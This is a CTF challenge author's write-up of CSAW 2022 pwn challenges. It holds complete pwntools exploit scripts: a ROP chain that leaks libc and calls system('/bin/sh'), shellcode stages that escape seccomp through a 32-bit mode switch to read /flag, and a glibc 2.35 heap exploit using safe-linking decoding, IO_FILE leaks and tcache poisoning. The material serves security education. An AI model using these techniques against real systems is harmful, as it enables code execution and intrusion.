Prologue
A great honor to be one of the CSAW developers and I wrote three challenges for the CSAW qualification round.
You can get the attachment and source code from Osiris Lab
Cuz CSAW is an entry-level CTF, we would have lots of players who are very new to cybersecurity. I try to make my pwn challenges interesting and educational.
ezROP
This is an easy ROP/BOF challenge. I write this challenge for people who have little experience with ROP/BOF.
The basic idea is I write the program in a reverse way. For people who don’t have much pwn background,
they would read the source code and think “what the hell is this” or “I don’t believe we can compile it successfully”.
After debugging and learning ROP, they can figure out the way how the program works and there is a buffer overflow
vulnerability. So they can use the gadgets to build their attack-rop-chain.
The solution is similar to other ROP challenges we should
- Leak the libc base address
- Call
system('/bin/sh')
from pwn import *
# p = process("./ezROP")
p = remote("0.0.0.0",9999)
context.arch='amd64'
# gdb.attach(p,'b *0x401533')
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
sla = lambda a,b: p.sendlineafter(a,b)
rdi = 0x00000000004015a3
rsi = rdi-2
got = 0x000000000403fe8
plt = 0x4010a0
main = 0x40150b
sla("?\n",b"\0"*120+flat([rdi,got,plt,main,]))
p.readuntil("!\n")
base = u64(p.readline()[:-1]+b'\0\0') - (0x7ffff7e4c420-0x00007ffff7dc8000)
log.warning(hex(base))
ret = rdi+1
system = base +0x52290
sla("?\n",b"\0"*120+flat([rdi,base+0x1b45bd,ret,system]))
p.interactive()
More detailed Wp from players:
- @lightStack: https://lightstack.ml/posts/csaw22_ezrop/
How2pwn
how2pwn is a series of educational challenges(4 stages). I write this challenge for people who have little experience on pwn. If you are new to pwn, don’t hesitate to start with this challenge.
I would just leave the exploit scripts here because there are enough hints in the challenges. And I believe if people read these hints and have learned OS&C Language, they are able to solve it.
chal1
from pwn import *
# context.log_level='debug'
# p = process("./chal1")
# p = remote("0.0.0.0", 60001)
p = remote("how2pwn.chal.csaw.io",60001)
v1 = 0x3b
v2 = hex(u64("/bin/sh\0"))
context.arch = 'amd64'
shellcode = f'''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
mov rax, {v1}
mov rdi, {v2}
push rdi
mov rdi, rsp
syscall
'''
p.sendlineafter(": \n",asm(shellcode).ljust(0x100,b'\0'))
p.interactive()
chal2
from pwn import *
# p = process("./chal2")
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
debug = 0
if debug:
p = process("./chal2")
else:
p = remote("how2pwn.chal.csaw.io",60002)
# p = remote("0.0.0.0",60002)
with open("./ticket2",'r') as f:
ticket = f.read().strip()
p.send(ticket)
context.arch = 'amd64'
shellcode = f'''
mov rdx,0x100
syscall
'''
shellcode = asm(shellcode)
p.sendafter(": \n",shellcode.ljust(0x10,b'\0'))
p.send(b"\x90"*len(shellcode)+asm(shellcraft.sh()))
p.interactive()
chal3
from pwn import *
# context.log_level='debug'
debug = 0
if debug:
p = process("./chal3")
else:
p = remote("how2pwn.chal.csaw.io",60003)
# p = remote("0.0.0.0", 60003)
with open("./ticket3",'r') as f:
ticket = f.read().strip()
p.send(ticket)
context.arch = 'amd64'
shellcode = f'''
xor rax,rax
mov al,0x9
mov rdi,0xcafe0000
mov rsi,0x2000
mov rdx,0x7
mov r10,0x21
xor r8,r8
xor r9,r9
syscall
xor rdi,rdi
mov rsi,rax
xor rdx,rdx
inc rdx
shl rdx,8
xor rax,rax
syscall
mov rax,0x2300000000
xor rsi,rax
push rsi
'''
# retf
# gdb.attach(p)
shellcode = asm(shellcode)+b'\xcb'
print("[+] len of shellcode: "+str(len(shellcode)))
p.sendafter(": \n",shellcode.ljust(0x100,b'\0'))
context.arch='i386'
context.bits=32
flag_path_1 = hex(u32(b"/fla"))
flag_path_2 = hex(u32(b"g\0\0\0"))
shellcode=f'''
mov esp, 0xcafe0100
xor eax,eax
mov al,0x5
push {flag_path_2}
push {flag_path_1}
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
mov ebx,eax
mov al,0x3
mov ecx,0xcafe0400
mov edx,0x1c00
int 0x80
mov eax,0x4
mov ebx,0x1
mov edx,0x1c00
int 0x80
'''
# input()
shellcode = asm(shellcode)
print("[+] len of shellcode: "+str(len(shellcode)))
p.send(shellcode)
# while(1):
# flag = p.read()
# print(flag)
# if b"Segmentation fault\n" in flag:
# break
p.interactive()
p.close()
chal4
from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
debug = 0
if debug:
p = process("./chal4")
else:
p = remote("how2pwn.chal.csaw.io",60004)
# p = remote("0.0.0.0",60004)
with open("./ticket4",'r') as f:
ticket = f.read().strip()
p.send(ticket)
context.arch = 'amd64'
shellcode = f'''
mov esp,0xcafe800
mov rsi,0x8
mov rbx,0x7fff000000000006
push rbx
mov rbx,0x7fc0000000000006
push rbx
mov rbx,0xc000003e00010015
push rbx
mov rbx, 0x400000020
push rbx
mov rbx,rsp
push rbx
xor rbx,rbx
mov bl,0x4
push rbx
mov rdx,rsp
mov rax,0x13d
mov rdi,1
syscall
mov r8,rax
mov al,0x39
syscall
cmp rax,0
je child_process
parent_process:
xor rax,rax
clean_req_and_resp:
mov ecx, 0xd
mov rdx,0xcafec00
loop:
mov qword ptr [rdx],rax
dec rcx
add dl,0x8
cmp rcx,0
jne loop
recv:
mov rax,0x10
mov rdi,r8
mov rsi,0xc0502100
mov rdx,0xcafec00
syscall
copy_id_of_resp:
mov rax, 0xcafec00
mov rbx, qword ptr[rax]
add al,0x50
mov qword ptr[rax], rbx
set_flags_of_resp:
add al,0x14
mov rbx,1
mov dword ptr[rax], ebx
resp:
xor rax,rax
mov al,0x10
mov rdi,r8
mov esi,0xC0182101
mov edx,0xcafec50
syscall
jmp parent_process
child_process:
mov rcx,0x10000
wait_loop:
dec rcx
cmp rcx,0
jne wait_loop
show_flag:
mov rax,0x230cafe180
push rax
'''
X32_showflag ='''
mov eax, 0x5
mov ebx,0xcafe1f0
xor ecx,ecx
xor edx,edx
int 0x80
mov ebx,eax
mov eax, 3
mov ecx,esp
mov cl,0x00
mov edx,0x200
int 0x80
mov eax,0x4
mov ebx,0x1
int 0x80
'''
shellcode = asm(shellcode)+b'\xcb'
context.arch = 'i386'
context.bits = 32
shellcode = shellcode.ljust(0x180,b'\0') + asm(X32_showflag)
context.log_level='debug'
# gdb.attach(p)
p.sendafter(": \n",(shellcode).ljust(0x1f0,b'\0')+b"/flag\0")
p.interactive()
unsafe-linking
It’s a Glibc-heap challenge that uses the latest LTS Glibc(2.35). There is a simple UAF in free which allows people to leak heap_base address, glibc_base address, and stack address. After leaking these important base addresses, the attackers could use heap exploitation to write arbitrary addresses. But unluckily, hooks are removed in Glibc-2.35, they have to use FSOP or ROP to get a shell.
Basically, this challenge is a menu-heap challenge. And the only thing special is the leaking part. It only allows leaking once. Also, it’s encoded by safe-linking and People are asked to recover the data with math or z3. Moreover, I build a repo to show my ways to decode the safe-linking protected data. I think this skill is useful cuz it only needs to leak once and can make your exploit easier.
Solution:
- Part0: Decode the leaked address, it’s a little complex. You can find the source code in function sol. I used z3 to solve it.
- Part1: line 80 - line 96 I use UAF to leak heap_base
- Part2: line 97 - line 125 I use IO_FILE_leak to leak libc_base and stack address
- Part3: line 127 - line 140
# Author: n132 (xm2146@nyu.edu)
# There is a certain chance of failure, too lazy to write a perfect exp
# ----------------------------------------------------------------------
# You don't have to use z3 to compute the original val of leaked address.
# I did use math to compute that but I chose to show the z3 solution cuz
# math solution hurt my brain. I wrote this challenge to show an useless
# skill: decode *any* leaked safelinking value only if we know the some
# relative values -> (page_offset & last 12bits of the value) :) --n132
# There is a general solver for leaked safelinking value:
# https://github.com/n132/Dec-Safe-Linking/tree/main
# ----------------------------------------------------------------------
from pwn import *
from z3 import *
T = 0x2
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
p = remote("pwn.chal.csaw.io",5000)
# p= process("./unsafe-linking",env={"LD_PRELOAD":"./libc.so.6"})
# p=remote("0.0.0.0",9999)
sla = lambda a,b: p.sendlineafter(a,b,timeout=T)
sa = lambda a,b: p.sendafter(a,b,timeout=T)
# gdb.attach(p)
def cmd(c):
sla("> ",str(c).encode())
def add(idx,size,sec = 0, c=b""):
cmd(1)
sla(")\n",str(sec).encode())
sla("?\n",str(idx).encode())
if(sec==0):
sla("?\n",str(size).encode())
sla(":\n",c)
def free(idx):
cmd(2)
sla("?\n",str(idx).encode())
def show(idx):
cmd(3)
sla("?\n",str(idx).encode())
def tcache(idx,val,ct=1):
t1 = [0]*0x80
t1[idx*2] = ct
p1= b''
for x in range(0x80):
p1+=p8(t1[x])
p2 = [0]*0x40
p2[idx] = val
p2 = flat(p2)
return p1+p2
def sol(leaked,off,orecal):
# log.warning(hex(leaked))
# log.warning(hex(off))
# log.warning(hex(orecal))
leaked = BitVecVal(leaked, 48)
orecal = BitVecVal(orecal, 48)
off = BitVecVal(off,48)
page_addr = BitVec('page_addr', 48)
res = BitVec('res', 48)
rnd = BitVec('rnd', 48)
s = Solver()
s.add(((page_addr^res)^rnd)==leaked)
s.add(page_addr == (res>>12))
s.add(((page_addr^res)>>12)+off==rnd)
s.add((page_addr>>36) == 0)
s.add((rnd>>36) == 0)
s.add(orecal == (res<<36)>>36)
if str(s.check()) == 'sat':
m = s.model()
# print(m)
return m.evaluate(res).as_long()
else:
print(s.check())
exit(1)
# Leak heap base
add(0,0x18)
add(1,0x18)
free(0)
free(1)
add(2,0x28)
add(3,0x18,1)
show(3)
p.readuntil("Secret ")
heap = int(p.readuntil("(")[:-1],16)
p.readuntil("off= ")
off = int(p.readuntil(")")[:-1],16)
heap = sol(heap,off,0x4b0) - 0x14b0
log.warning("HEAP BASE: "+hex(heap))
# IO_FILE LEAK
# Attack IO_FILE on heap
add(0,0x18)
add(1,0x18)
add(2,0x418)
free(0)
free(1)
add(3,0x28)
add(4,0x18,0,p64(heap+0x10))
free(0)
add(0,0x288,0,tcache(12,heap+0x2a0))
free(2)
#
# context.log_level='debug'
target = 0x15c0+heap
add(1,0xd8,0,flat([0x1802,target,target+8,target+8,target,target+8,target+8]))
base = u64(p.readuntil(b'\xff')[:-1],timeout=T)-0x219ce0
log.warning("LIBC BASE: "+hex(base))
free(1)
target = 0x221200+base
add(1,0x1d8,0,flat([0x1802,target,target+8,target+8,target,target+8,target+8]))
# context.log_level='debug'
# p.interactive()
stack = u64(p.readuntil(b'\xff',timeout=T)[:-1])
log.warning("STACK ADD: "+hex(stack))
free(1) # One more 0x18
free(0) # tcache table
add(0,0x288,0,tcache(63,stack-0x308)) # Points to stack buf, allocate a chunk as large as possible
# ROP
ret = 0x29cd6 +base
rdi = 0x2a3e5 +base
binsh = 0x1d8698 +base
system = 0x50d60 +base
# gdb.attach(p,'')
add(1,0x408,0,b'\xff'*0x141+p64(ret)*0x21+flat([rdi,binsh,system]))
p.interactive()
More detailed Wp from players:
- @ndrewh: https://github.com/ndrewh/ctf/tree/master/csaw_q_2022/unsafe-linking
- @Ailuropoda Melanoleuca: https://hackmd.io/@DarinMao/Sy7sjZ6gs